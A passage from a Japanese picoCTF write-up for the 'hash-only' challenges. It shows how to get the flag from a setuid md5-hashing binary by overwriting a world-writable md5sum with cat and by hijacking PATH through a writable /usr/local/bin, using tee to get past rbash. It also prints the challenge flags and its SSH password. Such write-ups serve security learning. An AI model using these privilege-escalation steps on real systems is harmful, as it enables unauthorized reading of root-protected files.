まずはSSHをして、動きを見てみます。ホームディレクトリに flaghasher というバイナリファイルがあり、実行すると /root/flag.txt の md5値を出してくれます。

ctf-player@pico-chall$ ls -al
total 24
drwxr-xr-x 1 ctf-player ctf-player    20 Mar 13 08:10 .
drwxr-xr-x 1 root       root          24 Mar  6 03:44 ..
drwx------ 2 ctf-player ctf-player    34 Mar 13 08:10 .cache
-rw-r--r-- 1 root       root          67 Mar  6 03:45 .profile
-rwsr-xr-x 1 root       root       18312 Mar  6 03:45 flaghasher

ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....



md5sumのパーミッションを見たら、上書きが可能でした。

ctf-player@pico-chall$ ls -al /usr/bin/md5sum
-rwxrwxrwx 1 root root 47480 Sep  5  2019 /usr/bin/md5sum



ということで、cat コマンドを md5sum コマンドとして上書きしちゃいます。

ctf-player@pico-chall$ cp /usr/bin/cat /usr/bin/md5sum

ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....

picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_cc661106}

Flag: picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_cc661106}





[Binary Exploitation]: hash-only-2 (200 points)


Challenge

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
Connect using ssh ctf-player@rescued-float.picoctf.net -p 53489 with the password, 83dcefb7 and run the binary named “flaghasher”.


Solution

今回は、md5sumのパーミッションは上書きできないようになっています。

ctf-player@pico-chall$ ls -al /usr/bin/md5sum
-rwxr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/md5sum



$PATH は以下のようになっており、/usr/bin/ より先に参照されるディレクトリがいくつかあります。

ctf-player@pico-chall$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin



ひとつひとつ見ていくと、/usr/local/bin/ のパーミッションがおかしなことに書き込み可能になっています。

ctf-player@pico-chall$ ls -al /usr/local/
total 0
drwxr-xr-x 1 root root 17 Oct  6  2021 .
drwxr-xr-x 1 root root 19 Oct  6  2021 ..
drwxrwxrwx 1 root root 24 Mar  6 19:42 bin



ということで、/usr/local/bin/md5sum として実行ファイルを置けば、/usr/bin/md5sum の代わりに実行されます。


md5sum というスクリプトファイルを作りたかったんですが、以下のようなやり方はできなかったので、

ctf-player@pico-chall$ echo "cat /root/flag.txt" >> /usr/local/bin/md5sum
-rbash: /usr/local/bin/md5sum: restricted: cannot redirect output
ctf-player@pico-chall$ cd /usr/local/bin/
-rbash: cd: restricted
ctf-player@pico-chall$ cat << EOS > md5sum
> #!/bin/bash
> cat /root/flag.txt
> EOS
-rbash: md5sum: restricted: cannot redirect output
$ scp -P 56250 md5sum ctf-player@rescued-float.picoctf.net:~/
ctf-player@rescued-float.picoctf.net's password:
scp: Connection closed



ヒアドキュメント + tee コマンドでファイルを作ることにしました。

以下を参考にさせてもらいました。

https://te2u.hatenablog.jp/entry/2015/07/01/224505


ctf-player@pico-chall$ cat <<'EOT' | tee /usr/local/bin/md5sum
> #!/bin/bash
> cat /root/flag.txt
> EOT


ctf-player@pico-chall$ ls -al /usr/local/bin/
total 24
drwxrwxrwx 1 root       root          20 Mar 16 09:55 .
drwxr-xr-x 1 root       root          17 Oct  6  2021 ..
-rwsr-xr-x 1 root       root       18312 Mar  6 19:42 flaghasher
-rw-rw-r-- 1 ctf-player ctf-player    31 Mar 16 09:55 md5sum


ctf-player@pico-chall$ chmod 755 /usr/local/bin/md5sum

ctf-player@pico-chall$ flaghasher
Computing the MD5 hash of /root/flag.txt....

picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_5547c7aa}

Flag: picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_5547c7aa}